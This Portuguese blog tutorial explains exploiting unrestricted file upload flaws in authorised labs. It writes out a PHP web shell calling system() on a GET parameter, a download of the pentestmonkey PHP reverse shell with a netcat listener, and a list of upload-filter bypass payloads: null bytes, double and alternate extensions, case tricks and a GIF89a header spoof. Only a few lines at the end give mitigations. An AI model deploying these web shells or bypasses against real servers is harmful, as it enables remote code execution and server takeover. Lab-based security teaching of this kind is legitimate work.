BOOK THIS SPACE FOR AD
ARTICLE ADOlá a todos, hoje iremos falar sobre uma falha muito conhecida que é o Unrestricted file upload (Upload de arquivo irrestrito), essa falha pode ser muito perigosa pois conseguimos executar comandos remotos (RCE) no servidor e até mesmo pegar uma shell, então vamos começar!
Muitos sites existem uma área para você colocar sua foto de perfil, compartilhar uma foto e por ai vai, mas o que acontece é que os desenvolvedores fazem tratamentos básicos ou até mesmo esquecem de faze-los, possibilitando o upload de um arquivo malicioso que será executado pelo servidor.
Client-side
Quando a aplicação utiliza validação pelo lado do cliente (Client-side), todas as entradas de dados do usuário são validadas pelo próprio navegador do usuário. Com essas informações sabemos que a validação dos dados são feitas a partir de atributos do JavaScript ou do HTML5.
Server-side
Agora falando do lado do servidor (Server-side) as entradas enviadas pelo usuário serão validadas no servidor por linguagens no back-end, exemplo delas são o PHP, Asp.net e etc.
O que precisamos de primeiro momento é localizar um campo de upload, isso varia muito de site para site, mas geralmente na página “Meu Perfil” temos um campo de upload para trocar nossa foto.
Obs: Gostaria de agradecer ao Carlos (Kadu) da crowsec por disponibilizar o 1° lab para caso de exploração.
Caso de Exploração 1 —Web Shell
Aqui temos uma tela para upload de imagem, então nesse momento podemos começar os testes criando um arquivo malicioso .php para nos fornecer uma RCE (Execução de códigos remotos) ou pegar uma reverse shell.
Para iniciar iremos criar um arquivo .php para colocar o código malicioso.
touch fotoDuvidosa.phpEntão temos que escrever um código malicioso dentro deste arquivo, você pode utilizar qualquer editor de texto (nano, vim e etc).
Código no arquivo .php<?phpsystem($_GET['cmd']);
?>
<?php ?>: Abertura e fechamento padrão de um arquivo PHP.
system(): Função system do PHP, responsável por permitir a execução dos códigos.
$_GET: Estamos declarando que o parâmetro vai ser via método GET.
[‘cmd’]: Nossa variável que vai ser chamada via GET para execução de código.
Ao terminar a edição do arquivo vamos retornar ao site e selecionar o mesmo para ser upado.
Logo após enviar a foto o site nos retornou esta mensagem:
Conseguimos fazer o upload com sucesso, agora para localizar a imagem temos que fazer o seguinte:
Clicamos na mesma com o botão direito e clicamos em copiar localização da imagem.
Obs: No site a nossa “imagem” aparece assim quebrada pois nos não enviamos uma imagem e sim um arquivo .php.
Para finalizar basta utilizar o parâmetro via GET para execução de comando remoto.
A partir deste momento conseguimos executar comandos no servidor e até mesmo pegar uma reverse shell.
Caso de exploração 2 (Filtro básico) — Reverse Shell
Na imagem acima temos um campo de upload com um botão de envio e um para selecionar imagem.
Para este caso criaremos uma reverse shell, irei baixar uma muito famosa do pentest monkey utilizando este comando:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.phpObs: No kali linux esta shell se localiza em /usr/share/webshells/php/php-reverse-shell.php
Após ter baixado com sucesso irei editar duas linhas de código para definir qual é o IP e PORTA a receber a conexão.
nano php-reverse-shell.phpAgora temos que selecionar nosso arquivo malicioso com .php.
Ao clicar em upload temos esse resultado:
Temos a resposta do servidor dizendo que arquivos .php não são permitidos, então temos que burlar, ou melhor dizendo, fazer um bypass nesse upload para que o arquivo seja upado.
O que faremos nesse momento é trocar a extensão do arquivo de .php para .php5, faremos isso por que o servidor alvo é feito em PHP e podemos imaginar que o filtro esteja apenas barrando arquivos com .php.
Ao clicar em upload recebemos isso do servidor:
Conseguimos fazer o bypass com sucesso, mas antes de clicar em “Veja!” para nos redirecionar ao arquivo upado, temos que subir nosso netcat para pegar a reverse com sucesso!
nc: Netcat é a ferramenta utilizada.
-l: Estamos avisando que a porta vai estar ouvindo qualquer conexão (Listen).
v: Ativamos o modo verbose.
p: Passamos uma porta (Port).
Ao clicar em “Veja!” recebemos isso em nossa shell:
Conseguimos concluir o segundo caso com sucesso :D
WoP WoPAdicionando Caracteres Especiais no Final
arquivo.php%20arquivo.php%0a
arquivo.php%00
arquivo.php%0d%0a
arquivo.php/
arquivo.php.\
arquivo.
arquivo.php….
arquivo.pHp5….
Adicionando extensão valida
Esse bypass consiste em colocar uma extensão valida antes da extensão maliciosa.
arquivo.png.phparquivo.png.Php5
GIF89a;
Adicionando “GIF89a;” antes da nossa payload estamos enganando o servidor fazendo uma alteração de cabeçalho. Normalmente, se uma função de upload aceita imagens ela também aceitará arquivos GIF. Sendo assim, podemos adicionar “GIF89a;” ao início do shell para enganar o upload:
GIF89a;<?
system($_GET['cmd']);
?>
Usando Null Byte
A injeção de bytes nulos é uma técnica para contornar os filtros de verificação de integridade na infraestrutura, adicionando caracteres de bytes nulos codificados por injeção de bytes nulos (ou seja,% 00 ou 0x00 em hexadecimal) aos dados fornecidos pelo usuário.
arquivo.php%00.jpgLetras Maiúsculas e Minúsculas
Certos tipos de filtros bloqueiam XSS se ele for escrito tudo em minúsculo ou tudo em minúsculo, o mesmo serve para esta falha.
arquivo.jPgarquivo.SvG
arquivo.asP
arquivo.Php
Content-Type
A função do Conten-Type é validar o conteudo do arquivo e verificar o tipo MIME (Extensões Multi função para Mensagens de Internet) do mesmo (ele aparece na requisição HTTP).
Recomendo que veja meu ultimo artigo para mais informações sobre este tipo de bypass.
Testando Outras Extensões
Esse bypass é igual ao nosso segundo caso de estudo onde apenas tentamos subir a payload com outra extensão.
php: phtml, .php, .php3, .php4, .php5, and .incasp: asp, .aspx
perl: .pl, .pm, .cgi, .lib
jsp: .jsp, .jspx, .jsw, .jsv, and .jspf
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swfPermita somente alguns tipos de extensão (.gif, .jpeg, .png e etc).Defina o um tamanho máximo que uma imagem pode ter para ser upada.NUNCA exiba o caminho do arquivo enviado.Permita que apenas pessoas autorizadas possam ver as imagens upadas.
RootMe: Essa é uma máquina gratuita do tryhackme que tem como falha principal a abordada neste artigo, ela é bem simples e divertida de se fazer.
Passage: Para esta máquina existem duas formas de completá-la, uma é com exploit e a outra você consegue pelas técnicas que foram apresentadas neste artigo, infelizmente ela é uma maquina retirada do HTB, então você precisa ser VIP para jogar.
Então pessoal, espero que tenham gostado deste artigo que explica mais a fundo como funciona a falha de Unrestricted File Upload e espero também ter agregado em seu conhecimento :D
Caso você queira me ajudar e ficar por dentro de quando algum artigo vai ser postado basta me seguir no instagram @gabriel_lima_232.
Para finalizar estarei deixando meu código promocional da Digital Ocean de US$100 dólares por 2 meses, assim você pode testar, ver como funciona uma VPS e me ajudar.
Gostaria de agradecer mais uma vez a crowsec e ao kadu por ter autorizado e disponibilizado o lab trabalhado neste artigo.